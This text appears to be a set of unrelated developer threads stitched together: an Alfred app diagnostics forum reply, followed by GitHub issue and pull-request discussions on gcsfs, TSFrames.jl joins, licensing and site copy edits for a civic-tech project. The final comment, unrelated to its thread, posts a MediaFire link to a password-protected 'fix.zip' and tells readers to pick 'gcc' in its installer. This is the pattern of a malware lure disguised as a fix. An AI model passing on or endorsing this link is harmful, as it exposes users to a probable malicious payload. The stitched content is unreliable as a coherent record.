
Starting Diagnostics...
File: 'Test notes.md'
Path: '/Users/zz/Library/CloudStorage/GoogleDrive-xxxxxxxxx@xxxxxx/My Drive/Alfred app/Alfred notes'

Check file cache database...
✅ File cache integrity is ok

Check if file is readable...
✅ Alfred has permissions to read this file.
Unix Permissions: 420
Underlying Type: NSFileTypeRegular
Extended Attributes: (
"com.apple.lastuseddate#PS",
"com.apple.quarantine",
"com.apple.TextEncoding"
)

Check if volume '/' is indexed by macOS...
✅ Indexing is enabled on this drive

Check direct file metadata...
⚠ Direct metadata available, but content type may be incorrect
Display Name: Test notes.md
Other Names:
Content Type: dyn.ah62d4rv4ge8043a
Last Used: 2024-03-26 16:28:30 +0000

Check mdls file metadata...
✅ Metadata contains required items
_kMDItemDisplayNameWithExtensions  = "Test notes.md"
kMDItemContentCreationDate         = 2024-03-26 16:25:51 +0000
kMDItemContentCreationDate_Ranking = 2024-03-26 00:00:00 +0000
kMDItemContentModificationDate     = 2024-03-26 16:26:17 +0000
kMDItemContentType                 = "dyn.ah62d4rv4ge8043a"
kMDItemContentTypeTree             = (
"public.item",
"dyn.ah62d4rv4ge8043a",
"public.data"
)
kMDItemDateAdded                   = 2024-03-26 16:25:51 +0000
kMDItemDisplayName                 = "Test notes.md"
kMDItemDocumentIdentifier          = 650720
kMDItemFSContentChangeDate         = 2024-03-26 16:26:17 +0000
kMDItemFSCreationDate              = 2024-03-26 16:25:51 +0000
kMDItemFSCreatorCode               = ""
kMDItemFSFinderFlags               = 0
kMDItemFSHasCustomIcon             = (null)
kMDItemFSInvisible                 = 0
kMDItemFSIsExtensionHidden         = 0
kMDItemFSIsStationery              = (null)
kMDItemFSLabel                     = 0
kMDItemFSName                      = "Test notes.md"
kMDItemFSNodeCount                 = (null)
kMDItemFSOwnerGroupID              = 20
kMDItemFSOwnerUserID               = 501
kMDItemFSSize                      = 15
kMDItemFSTypeCode                  = ""
kMDItemInterestingDate_Ranking     = 2024-03-26 00:00:00 +0000
kMDItemIsUploaded                  = 1
kMDItemIsUploading                 = 0
kMDItemKind                        = "Document"
kMDItemLastUsedDate                = 2024-03-26 16:28:30 +0000
kMDItemLastUsedDate_Ranking        = 2024-03-26 00:00:00 +0000
kMDItemLogicalSize                 = 15
kMDItemPhysicalSize                = 4096
kMDItemUseCount                    = 8
kMDItemUsedDates                   = (
"2024-03-25 18:30:00 +0000"
)

Check file is in search scope...
✅ File exists within Alfred's default search scope

Check MDQuery file search...
✅ macOS returned a match for this file in your search scope.
File Search Results for search scope (
"[0] /System/Volumes/Data/Users/zz/Library/CloudStorage/GoogleDrive-xxxxxxxxx@xxxxxx/My Drive/Alfred app/Alfred notes/Test notes.md"
)
File Search Results for ~/ (
"[0] /System/Volumes/Data/Users/zz/Library/CloudStorage/GoogleDrive-xxxxxxxxx@xxxxxx/My Drive/Alfred app/Alfred notes/Test notes.md"
)
File Search Results for / (
"[0] /System/Volumes/Data/Users/zz/Library/CloudStorage/GoogleDrive-xxxxxxxxx@xxxxxx/My Drive/Alfred app/Alfred notes/Test notes.md"
)

✅ Troubleshooting passed
⚠ There were 1 warning(s)

Thank you for your reply. I have replaced some personal info with xxxxxxxxx@xxxxxx. Sorry for that.

That means that as far as macOS is concerned, it doesn’t know what .md files are. Make sure you associate them with a proper app to open them, and if that doesn’t fix it, run steps 5 and 6 in the link above.

Thank you Vitor! Your solution worked. [May I mention for noobs like me: that on Mac we need an app for md editor & md preview app (such as QLMarkdown, if your md editor does not have preview option) ]. Cheers once more.


fix(watcher): make resetting watcher status not to delete itself

this PR resolves #72

:tada: This PR is included in version 1.0.0-dev.7 :tada:
The release is available on:

v1.0.0-dev.7
GitHub release
v1.0.0-dev.7

Your semantic-release bot :package::rocket:


Use standard Open Source license

Bespoke licenses force developers to pause and become trainee lawers before progressing. Given the apparent free-for-all nature of Hexameter LICENSE file, why not just use BSD2?
https://opensource.org/licenses/BSD-3-Clause

Hexameter uses the MIT license which is pretty much standard. Did I miss something?

Aha, so what I'm complaining about is that the MIT license doesn't declare itself to be the MIT license like, say, Apache license!

I'm not sure I follow. GitHub seems to recognize it:
 and it is also one of the recommended licenses by GitHub (take a look here). Can you clarify your point?

Aw, I don't look at Github to tell me stuff like that, I cloned and perused the codebase but I didn't pay recognise the MIT format. No issue here 'cept with me! Will send some PRs your way shortly for minor items and raise some Issues for other stuff.

That's great news! Feel free to come up to our discord server if you'd want to discuss things. We have plans to change the MIT license to Apache though but it is also well-explained and recognized by GitHub.


Inconsistent STORAGE_EMULATOR_HOST format

gcsfs seems to treat STORAGE_EMULATOR_HOST as a URL, not as a host:port pair.
This is breaking the convention of other libraries (including official Google libs) that treat STORAGE_EMULATOR_HOST as a host, and thus makes it impossible to use gcsfs with other libraries, because:

gcsfs expects STORAGE_EMULATOR_HOST to be port://host:port
gcloud.aio.storage & google.cloud.storage expect STORAGE_EMULATOR_HOST to be host:port

STR:
$ STORAGE_EMULATOR_HOST=<IP_ADDRESS>:4443  # Running `fakegcs`
>>> import gcsfs
>>> fs = gcsfs.GCSFileSystem()
>>> fs.listdir('gs://fakebucket/foo/bar')
Traceback (most recent call last):
...
aiohttp.client_exceptions.InvalidURL: <IP_ADDRESS>:4443/storage/v1/b/fakebucket/o?delimiter=/&prefix=foo/bar/

A backward-compatible fix would be to detect if the scheme prefix (http:// or https://) is missing, and append it if it is. Probably something as simple as changing https://github.com/fsspec/gcsfs/blob/main/gcsfs/core.py#L117:
_emulator_location = os.getenv("STORAGE_EMULATOR_HOST", None)
if not any(_emulator_location.startswith(scheme) for scheme in ('http://' ,'https://')):
    _emulator_location = f'http://{_emulator_location}'  # Default to http:// since most people use this locally with fake gcs server

Fixed by #548.

Thanks!


Typo fix for getting started docs

Signed-off-by: Mihai Tabara<EMAIL_ADDRESS>Hey, I just made a Pull Request!
Tiny typo fix to match the group defined in the pre-loaded catalog entities in here.

Just to confirm there's no group-a in the pre-loaded configs.

Thanks @MihaiTabara! This fix was also fixed by #10048


Adding function to join multiple TSFrames.

This PR addresses issue https://github.com/xKDR/TSFrames.jl/issues/40. We have added a method for join which takes in a variable number of TSFrames (this number should be at least 2). We have assumed that the joins are left associative. To keep the syntax similar to what we already have, we have added the join type as the keyword argument jointype (since the variable number of arguments needs to be the final positional argument). For more, please refer to the discussion in https://github.com/xKDR/TSFrames.jl/issues/40.
Corresponding documentation and tests have been added.

Codecov Report

Merging #120 (f16d71d) into main (808a40a) will increase coverage by 0.11%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main     #120      +/-   ##
==========================================
+ Coverage   89.51%   89.62%   +0.11%
==========================================
  Files          19       19
  Lines         372      376       +4
==========================================
+ Hits          333      337       +4
  Misses         39       39

Impacted Files
Coverage Δ

src/join.jl
90.00% <100.00%> (+2.50%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

This PR addresses issue #40. We have added a method for join which takes in a variable number of TSFrames (this number should be at least 2). We have assumed that the joins are left associative. To keep the syntax similar to what we already have, we have added the join type as the keyword argument jointype (since the variable number of arguments needs to be the final positional argument). For more, please refer to the discussion in #40.
Corresponding documentation and tests have been added.

Yes, this sounds fine. Though, my personal preference would be to reuse the on keyword (instead of jointype) used by DataFrames.jl to maintain consistency in interfaces, should be easier for users.

This PR addresses issue #40. We have added a method for join which takes in a variable number of TSFrames (this number should be at least 2). We have assumed that the joins are left associative. To keep the syntax similar to what we already have, we have added the join type as the keyword argument jointype (since the variable number of arguments needs to be the final positional argument). For more, please refer to the discussion in #40.
Corresponding documentation and tests have been added.

Yes, this sounds fine. Though, my personal preference would be to reuse the on keyword (instead of jointype) used by DataFrames.jl to maintain consistency in interfaces, should be easier for users.

Changed jointype to on.

Changed jointype to on.

On second thoughts, jointype is a more appropriate name because on in DataFrames refers to a column name and not the kind of join, the latter being referred to by the method name itself.
Can you change it back to jointype? Sorry about this.

The latest commit replaces everything by a single function. Note that here we are using a for loop; we had to do this because some DataFrames join function like leftjoin and rightjoin work on only two DataFrame objects (and not more than two objects).

The latest commit replaces everything by a single function. Note that here we are using a for loop; we had to do this because some DataFrames join function like leftjoin and rightjoin work on only two DataFrame objects (and not more than two objects).

This should be fine as long as there are test cases to make sure the code is working fine for leftjoin et al for more than 2 or 3 TSFrame objects.

The latest commit replaces everything by a single function. Note that here we are using a for loop; we had to do this because some DataFrames join function like leftjoin and rightjoin work on only two DataFrame objects (and not more than two objects).

This should be fine as long as there are test cases to make sure the code is working fine for leftjoin et al for more than 2 or 3 TSFrame objects.

Hi. Yes, we have tests for 2, 3 and 5 TSFrame objects for each function.


Copy Updates for Site

Problem
We're expecting a significant uptick in traffic to the site after our AI Paper is published. When that traffic comes in, we want the site to be polished to build confidence in the tool.
To that end, we need the following copy changes made to the site. This ticket covers items 1 - 5 from "Need to Do" in the attached Google Doc (the doc also contains screenshots of the areas that need changes for increased clarity)
Success Criteria - Changes to the following pages:

Footer

Change “To Writing Effective Testimony” to “To Write Effective Testimony”
Capitalize the “U” in “Use” in "Why use MAPLE"

Browse Bills page

Change the title “All Bills” to “Browse Bills”

Mission & Goals page (under the About pages)

Remove the text “MAPLE seeks to fill this void”, and move the blue textbox component up slightly to fill in the space.
Delete the entire “1 2 3” component at the bottom of the page

Steering Committee page (under About -> Team)

Update “Product Management & Leadership” to add additional names:

John Griffin

John Griffin is the Managing Partner for Strategy at Partners in Democracy. John spent a decade working in Massachusetts policy and politics, including as Massachusetts Policy Director at Democrats for Education Reform. He has experience advising nonprofits, campaigns, and civil society organizations on achieving their policy goals.

Elaine Almquist

Elaine F. Almquist is the founder and principal of Almquist & Associates, where she advises candidates and organizations on how to build political power, win office, and nurture long-term movements. Elaine has spent twenty years on the ground in campaigns and organizations, and serves on the advisory board of Rank The Vote.

Update “User Experience Design “& Engineering Leads

In the title, add a comma between “User Experience” and “Design”
Remove Alex Ball and Sasha Goldberg and their bios.
Add the following names and bios:

Matt King

Matt King is a Full-Stack Software Engineer. He received a Bachelor's Degree in Computer Science and Cognitive Psychology from Northeastern University.

Merritt Baggett

Merritt Baggett is a freelance React Front-End Web Developer.  He received a Bachelor's Degree in Psychology from Virginia Tech.

Kimin Kim

Kimin Kim is a Lead Front-end Developer at the Data Lab for Tech Impact with a Bachelor's Degree of Computer Science from Northeastern University. His hobbies are playing volleyball/badminton, eating good food, and learning new skills.

Minqi Chai

Minqi Chai is a social scientist and user experience researcher, advocating for human-centered approaches in digital transformation. She received her PhD in Political Science and Government from Cornell University.

Advisory Committee page (under About -> Team)

Replace "Beth Noveck" with "David Fields"

David Fields, Ph.D., is Professor of the Practice within the Graduate School of Education at Northeastern University and Senior Fellow with The Burnes Center for Social Change. He brings over 20 years of higher education experience building, launching, and scaling industry aligned programs. At the Burnes Center, his work includes supporting AI for Impact, and its InnovateMA co-op program in partnership with the Commonwealth of Massachusetts.

Replace “Danielle Allen” with “John Griffin”

John Griffin is the Managing Partner for Strategy at Partners in Democracy. He has spent a decade working in Massachusetts policy and politics, including as Massachusetts Policy Director at Democrats for Education Reform. John holds a Master in Public Policy degree from the Harvard Kennedy School.

Related Items

Audit Doc: https://docs.google.com/document/d/1-cy9fD9OqDErjM_0oM5u3eLwrQUxs2nDASEI_NpWxsw/edit

@Mephistic I would be interested in this issue. Could I be assigned to it?

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."